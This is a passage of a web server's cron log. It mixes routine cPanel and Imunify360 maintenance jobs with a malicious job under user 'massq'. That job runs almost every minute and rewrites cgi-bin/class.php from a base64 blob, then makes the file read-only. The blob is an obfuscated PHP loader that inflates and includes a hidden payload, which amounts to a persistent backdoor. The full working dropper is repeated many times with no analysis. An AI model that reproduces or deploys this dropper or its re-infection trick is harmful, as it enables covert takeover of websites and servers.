BdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:13:01 server CROND[16831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:14:01 server CROND[17514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:14:01 server CROND[17513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:14:01 server CROND[17515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:15:01 server CROND[17913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:15:01 server CROND[17914]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 09:15:01 server CROND[17917]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 09:15:01 server CROND[17919]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:15:01 server CROND[17922]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 09:15:01 server CROND[17924]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 09:15:01 server CROND[17926]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 09:15:01 server CROND[17925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:16:01 server CROND[18759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:16:01 server CROND[18760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:16:01 server CROND[18761]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:17:01 server CROND[19132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:17:01 server CROND[19133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:17:01 server CROND[19134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:18:01 server CROND[19618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:18:01 server CROND[19619]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:18:01 server CROND[19620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:19:01 server CROND[20040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:19:01 server CROND[20042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:19:01 server CROND[20041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:20:01 server CROND[20426]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 09:20:01 server CROND[20427]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 09:20:01 server CROND[20428]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 09:20:01 server CROND[20435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:20:01 server CROND[20438]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 09:20:01 server CROND[20439]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:20:01 server CROND[20441]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 09:20:01 server CROND[20440]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 09:20:01 server CROND[20437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:21:01 server CROND[21270]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:21:01 server CROND[21271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:21:01 server CROND[21272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:22:01 server CROND[21643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:22:01 server CROND[21644]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:22:01 server CROND[21645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:23:01 server CROND[22119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:23:01 server CROND[22120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:23:01 server CROND[22121]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:24:01 server CROND[22490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:24:01 server CROND[22491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:24:01 server CROND[22492]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:25:01 server CROND[23008]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 09:25:01 server CROND[23013]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 09:25:01 server CROND[23051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:25:01 server CROND[23052]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 09:25:01 server CROND[23059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:25:01 server CROND[23057]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 09:25:01 server CROND[23056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0u